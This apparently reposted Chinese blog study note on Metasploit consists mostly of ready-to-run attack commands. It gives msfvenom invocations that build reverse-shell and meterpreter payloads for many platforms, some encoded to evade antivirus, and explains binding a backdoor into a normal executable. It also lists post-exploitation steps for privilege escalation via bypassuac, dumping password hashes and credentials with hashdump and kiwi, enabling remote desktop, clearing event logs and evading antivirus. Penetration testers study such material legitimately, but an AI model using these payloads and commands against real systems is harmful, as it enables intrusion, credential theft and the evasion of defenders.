msf學習
目錄- msf學習
- 一、msf核心模塊與功能
- 二、msfvenom
- 1、msfvenom 常用引數
- 2、各平臺生成payload命令
- 三、msf利用流程
- 四、msf后滲透模塊
- 五、后滲透提權
- 六、后滲透獲取登錄密碼
- 七、后滲透遠程監控
- 八、msf編碼免殺
以kali自帶的msf為例
一、msf核心模塊與功能
msf模塊都放在/usr/share/metasploit-framework/modules目錄下
1、auxiliary
輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等)
2、encoders
編碼器模塊,主要包含各種編碼工具,對payload進行編碼加密,以便繞過入侵檢測和過濾系統
3、evasion
規避模塊,用來生成免殺payload
4、exploits
漏洞利用模塊,包含主流的漏洞利用腳本,通常是對某些可能存在漏洞的目標進行漏洞利用
5、nops
這里主要放著調整shellcode前置nop指令長度的工具
6、payloads
攻擊載荷,主要是攻擊成功后在目標機器執行的代碼,比如反彈shell的代碼
7、post
后滲透模塊,漏洞利用成功獲得meterperter之后,向目標發送的一些功能性指令,如:提權等
二、msfvenom
kali中的msfvenom取代了msf中payloads和encoders模塊
1、msfvenom 常用引數
-l
列出指定模塊的所有可用資源,模塊型別包括: payloads, encoders, nops, all
-p
指定需要使用的payload(攻擊荷載),
-f
指定輸出格式
Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;
Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;
-e
指定需要使用的encoder(編碼器)編碼免殺,
-a
指定payload的目標架構
選擇架構平臺:x86 | x64 | x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
-o
保存payload檔案輸出,
-b
設定規避字符集,比如: '\x00\xff'避免使用的字符
-n
為payload預先指定一個NOP滑動長度
-s
設定有效攻擊荷載的最大長度生成payload的最大長度,就是檔案大小,
-i
指定payload的編碼次數
-c
指定一個附加的win32 shellcode檔案
-x
指定一個自定義的可執行檔案作為模板
例如:原先有個正常檔案normal.exe 可以通過這個選項把后門捆綁到這個程式上面,
-k
保護模板程式的動作,注入的payload作為一個新的行程運行
例如:原先有個正常檔案normal.exe 可以通過這個選項把后門捆綁到這個程式上面,
-v
指定一個自定義的變數,以確定輸出格式
2、各平臺生成payload命令
(1)Windows
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe
(2)Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho
(3)Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk
(4)Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
(5)Linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf
(6)php
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php
(7)aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx
(8)JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp
(9)war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war
(10)nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js
(11)python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py
(12)perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl
(13)ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb
(14)lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua
(15)windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
(16)linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
(17)mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
三、msf利用流程
1、前期互動
與客戶組織互動討論,確定范圍,目標等,
2、情報收集
網站域名注冊人、子域名、埠、真實ip、cms等,
3、威脅建模
理清頭緒,確定出可行的漏洞方案,
4、漏洞分析
挑選匹配可能存在的漏洞利用模塊,
5、滲透利用
找出安全漏洞,嘗試利用漏洞入侵系統,
6、后滲透階段
開始實施相關資料下載,后門維持,提權等操作,
7、報告撰寫
漏洞利用滲透測驗報告,
四、msf后滲透模塊
1、基本系統命令
background # 讓meterpreter處于后臺模式
sessions -i index # 與會話進行互動,index表示第一個session
getuid # 查看權限
getpid # 獲取當前行程的pid
sysinfo # 查看目標機系統資訊
ps # 查看當前活躍行程
kill pid # 殺死行程
migrate pid # 將Meterpreter會話移植到行程數位pid的行程中
execute -H -i -f cmd.exe # 創建新行程cmd.exe,-H不可見,-i互動
quit # 退出會話
shell # 獲得控制臺權限
clearev # 日志清理(需要system權限)
reboot/shutdown #重啟/關機
2、檔案操作命令
cat # 查看檔案內容
getwd # 查看當前作業目錄
upload # 上傳檔案到目標機上
download # 下載檔案到本機上
edit # 編輯檔案
search # 搜索檔案
3、網路命令
ipconfig / ifconfig # 查看網路介面資訊
Portfwd # 埠轉發 本機監聽埠 把目標機埠轉到本機埠上
Rdesktop # 使用rdesktop來連接 -u 用戶名 -p 密碼
Route # 獲取路由表資訊
五、后滲透提權
查看當前用戶權限:getuid
方法一:
meterpreter中輸入getsystem提權
方法二:
使用msf模塊提權
1、查看可用模塊,msf終端輸入search bypassuac
2、選擇一個合適當前系統的提權模塊
以win10為例:
使用use exploit/windows/local/bypassuac_windows_store_reg 嘗試提權
這個不行就換一個模塊
六、后滲透獲取登錄密碼
1、抓取自動登錄賬戶密碼
run windows/gather/credentials/windows_autologin
2、匯出SAM資料庫本地賬戶密碼檔案
run post/windows/gather/smart_hashdump
3、匯出密碼哈希
run hashdump
4、使用kiwi模塊獲取
load kiwi
creds_all:列舉所有憑據
七、后滲透遠程監控
1、使用rdesktop遠程控制(直接在終端執行)
rdesktop常用引數
引數 | 描述 |
---|---|
-u | 用戶名 |
-p | 密碼 |
-a 16 | 指使用16位色顯示遠程桌面 |
-f | 全屏模式(用Ctrl+Alt+Enter組合鍵退出) |
-g | 設定解析度,如:-g 1024x768 |
-h | 幫助 |
例子:
rdesktop -u 用戶名 -p 密碼 -f IP地址
如果遠程計算機沒有啟動遠程功能,可以在meterpreter中輸入
run post/windows/manage/enable_rdp命令開啟遠程功能
2、通過vnc遠程(在meterpreter中執行)
run vnc
八、msf編碼免殺
1、殺軟是如何檢測出惡意代碼的?
特征碼、啟發式惡意軟體檢查和行為,
2、免殺是做什么?
對特征進行混淆,打亂代碼,避免殺毒軟體查殺
3、免殺的基本方法有哪些?
自編碼處理、自捆綁+編碼、多重編碼、介面下載式、簽名偽裝式
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/550565.html
標籤:其他
上一篇:Halcon軟體安裝與界面簡介